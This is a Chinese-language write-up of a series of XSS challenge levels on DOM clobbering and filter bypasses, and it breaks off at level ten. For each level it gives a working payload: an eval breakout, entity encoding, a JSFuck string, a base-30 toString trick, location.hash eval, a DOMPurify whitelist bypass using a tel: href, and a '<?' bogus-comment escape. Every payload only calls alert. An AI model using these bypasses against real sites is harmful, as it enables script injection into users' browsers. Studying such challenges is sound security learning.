DOM破坏基础
第一关
源码
1 | <!-- Challenge --> |
分析
get传值somebody 直接给h2添加属性
payload
1 | ?somebody=<img src="1" onerror="alert(1337)"> |
第二关
源码
1 | <h2 id="maname"></h2> |
分析
一样的get获取jeff的值 利用点在eval
我们可以闭合"
然后直接alert(1337)
payload
1 | ?jeff=";alert(1)// |
第三关
源码
1 | <!-- Challenge --> |
分析
一样通过wey get传递值
但是经过了wey.replace(/[<>]/g, '')
过滤,过滤了 <>
然后通过innerHTML
给uganda
赋值
因为不能通过 用户交互,所以我们不用on的点击时间
但是有一个自动获取焦点的函数 onfocus
并且这个函数有一个自动获取焦点的参数 autofocus
即可实现自动弹窗
payload
1 | ?wey="autofocus%20onfocus=alert(1337)" |
第四关
源码
1 | <!-- Challenge --> |
分析
通过ricardo
get传参 然后设置定时器 2秒自动提交给form表单
然后form 表单中有method 属性接收的GET 表单属性可以通过javascript:
伪协议解析alert
payload
1 | ?ricardo=javascript:alert(1337) |
第五关
源码
1 | <h2 id="will"></h2> |
分析
get传承 markassbrownlee
获取值 , will.innerHTML = smith
添加属性,但是
smith.replace(/[\(\\)\\]/g, '')
过滤了()\
所以alert的这个括号 被过滤了,我们考虑通过实体编码绕过
因为我们在url
地址栏传入的参数 先会经过浏览器进行decode
然后进入 js
接收到值后,通过了过滤函数,在进入html
,实体编码被解析为()
payload
1 | ?markassbrownlee=<img src="1" onerror="alert%26lpar%3B%26%2349%3B%26%2351%3B%26%2351%3B%26%2355%3B%26rpar%3B"> |
第六关
源码
1 | /* Challenge */ |
分析
过滤掉了大小写字母,还有数字
看见了eval
函数 利用点就在这
现在就是考虑怎么绕过这个正则
想到了jsfuck
直接通过
这个编码,然后进行一下urlencode
编码
payload
1 | ?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%2B%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%29 |
后面我们在 研究一下jsfuck
到底为什么可以通过这种方式来编码
第七关
源码
1 | mafia = (new URL(location).searchParams.get('mafia') || '1+1') |
分析
这里限制了我们payload的长度不能超过50,且过滤了``’ “ + - ! \ [ ]` 所以这关完全限制了上一关的方法
而且他还过滤了 alert 所以我们不能用alert 但是我们还有另外两个可以用
confirm()、prompt()
这里我们可以直接利用,但是还有其他的办法
第一种方法
1 | eval(8680439..toString(30))(1337) |
..toString()
可以将数字转换为字符
8680439:其实就是 30进制的alert
这里我们就是利用 这个函数
那为什么是30进制不是 其他进制 呢?
我们测试一下29进制
利用parseInt()
来看一下 转换alert是什么
这里可以看到 alert 的 t 转换回来消失了!!!
为什么呢?
A B C D E F G H I J K L M N O P Q R S T
这里我们知道A 是10进制可以进行转换
T 在第30位,我们合理的进行推测,T 是不是就是30进制呢?
所以我30~36都可以进行转换t
那么我们这个payload eval(8680439..toString(30))(1337)
就完全可以绕过过滤,实现xss
第二种方法
1 | eval(location.hash.slice(1)) |
这里我们可以清楚的理解到 是通过 location.hash.slice(1)
这个函数来传值,我们可以通过#来插入我们的恶意代码,但是我们的xss代码并不会进入正则过滤中
payload
1 | ?mafia=eval(location.hash.slice(1))#alert(1337) |
第三种方法
1 | Function(/ALERT(1337)/.source.toLowerCase())() |
因为js是严格区分大小写的 所以我们传入的ALERT
并不会被过滤,我们就要想办法将他转为小写
这里我们查官方文档了解一下Function()
的作用
Function()是构造函数
在看看.source 是啥
返回正则表达式的文本内容(即 /pattern/flags
中的 pattern
部分),不包含分隔符和标志。
.toLowerCase()转小写
这个payload我们就知道先通过Function 构造函数 然后 传入 /ALERT(1337)/
通过.source 获取到ALERT(1337
在通过 toLowerCase()
转成小写 ,最后()
立即执行
这个payload的好处是我们可以绕过他的关键字匹配,构造自己的函数
payload
1 | Function(/ALERT(1337)/.source.toLowerCase())() |
第八关
源码
1 | <h2 id="boomer">Ok, Boomer.</h2> |
分析
这里他引入了DOMPurify
防御用户输入框架,这个框架至今都在维护,而且绕过的概率很低,所以我们不考虑绕过的方法
看到下面setTimeout(ok, 2000)
这里的ok
并没有进行定义
那么我们可以使用dom clobbering
称之为dom
破坏技术
1 | <a id=ok href=javasCript:alert(1337)> |
我们尝试传入这个来重新构造ok函数
但是发现被框架过滤了,我们去github上看一下,找一下白名单
/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))
这里测试发现
mailto|tel|callto|sms|cid|xmpp|matrix
全部都能够触发alert
payload
1 | ?boomer=<a id=ok href="tel:alert(1)"> |
那么为什么我们会想到用A标签呢?
1.我们需要传入一个我们可控得字符,且他能被setTimeout
执行
toString
所以我们可以通过以下代码来进⾏fuzz得到可以通过toString
⽅法将其转换成字符串类型的标签:
1 | Object.getOwnPropertyNames(window) |
我们可以得到两种标签对象:HTMLAreaElement ()
& HTMLAnchorElement ()
,这两个 标签对象我们都可以利⽤href属性来进⾏字符串转换。
HTMLAreaElement
是area
但是他是一个空元素不能容纳任何内容,所以我们不考虑
那么就只剩下HTMLAnchorElement
这个的意思是锚点的意思,
也就是跳转,html中哪个标签可以跳转实现呢?
答案呼之欲出了:A标签的 href属性
所以这里dom破坏就是在a标签的herf属性上传入我们的xss代码!
第九关
源码
1 | <!-- Challenge --> |
分析
这里我们可以看到,对get传参debug
进行了过滤
将 ! - / # & ; %
进行了过滤
那我们现在考虑,在哪个地方可以利用进行dom破坏呢?
我们知道形如 document.x
这种我们都可以进行dom破坏
这里我们很容易就发现 template.outerHTML
,但是被<!--
-->
包裹,而且为多行注释,那么我们如何进行绕过呢?
我们先不考虑注释符,正常插入
1 | <img src='1' onerror='alert(1)'> |
发现正如我们预料的一样,我们的payload被注释掉了
那我们就要思考如何来闭合 <!--
经过查找大量资料发现,<?
可以把p标签逃逸出来
那么这是为什么呢?
下断调试看看
发现 我们传入的<?
变为了 <!--?-->
这样他进入
就把P标签逃逸出来了
根据w3c
规范文档,可以在以下链接找到:
🔗 HTML Standard - Parsing HTML Documents
🔗 https://html.spec.whatwg.org/multipage/parsing.html#parsing-html-documents
当遇到<
号的时候 会切换到 标签开始状态 tag open state.
然后
又因为下一个字符是?
他会进入 bogus comment state.
然后 下一个字符是 Anything else 将当前输入字符附加到注释标记的数据中。也就是<!--?-->
,
这里举个列子:输入是aaa<?bbb>ccc的时候,解析到第 i 个字符时,innerHTML 的结果是这样的
1 | a |
直到该状态遇到了>为止,回到 data state。注意这个 Bogus comment state 解析到>的时候会直接回到 data state,也就是 HTML parser 最开始解析的状态,这个时候我们就可以插入 HTML 代码了。
那么我们就可以试着传值测试
1 | <?><img src='1' onerror='alert(1)'> |
也是成功弹窗了,我们再次打断点看看具体是什么流程
与我们的预想完全一致
1 | <?><svg onload=alert(1)> |
这两个都可以,但是切记不要用<script>alert(1)</script>
原因就是/
被过滤了,就算没被过滤也不会被执行
w3c文档清楚的进行了说明
document.write()
script
innerHTML
outerHTML
使用该方法插入时,元素通常会执行(通常会阻止进一步的脚本执行或 HTML 解析)。当使用 和 属性插入时,它们根本不会执行。
这里他也说明了 官方文档
第十关
源码
1 | <number id="number" style="display:none"></number> |
分析